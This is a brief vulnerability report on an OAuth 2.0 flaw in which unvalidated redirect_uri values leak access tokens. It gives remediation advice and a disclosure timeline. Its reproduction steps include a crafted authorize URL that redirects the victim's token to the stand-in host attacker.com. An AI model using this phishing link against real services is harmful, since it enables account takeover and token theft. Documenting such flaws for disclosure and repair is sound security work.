# VULNERABILITY REPORT: OAuth 2.0 Token Leakage ## EXECUTIVE SUMMARY An OAuth 2.0 misconfiguration in the "Sign in with..." flow allowed attackers to steal user access tokens. This could lead to unauthorized account access and data exfiltration. ## TECHNICAL DETAILS **Vulnerability Type:** Open Redirect leading to Token Leakage The `redirect_uri` parameter in the OAuth authorization request was not strictly validated against a whitelist. An attacker could supply a malicious URL belonging to a controlled domain. When the user authenticated, the authorization code or access token (in implicit flow) was redirected to the attacker's server. ### Steps to Reproduce 1. Construct a malicious login URL: `https://auth.target.com/oauth2/authorize?client_id=...&redirect_uri=https://attacker.com/callback&response_type=token` 2. Send the link to a victim. 3. Upon clicking and logging in, the victim's browser redirects to `https://attacker.com/callback#access_token=...`. 4. Attacker logs the token from the URL fragment. ## REMEDIATION - Enforce strict whitelist validation for `redirect_uri`. - Deprecate the Implicit Grant flow in favor of Authorization Code with PKCE. ## TIMELINE - **2024-10-28**: Report submitted. - **2024-10-30**: Validated and triaged. - **2024-11-05**: Fix verified.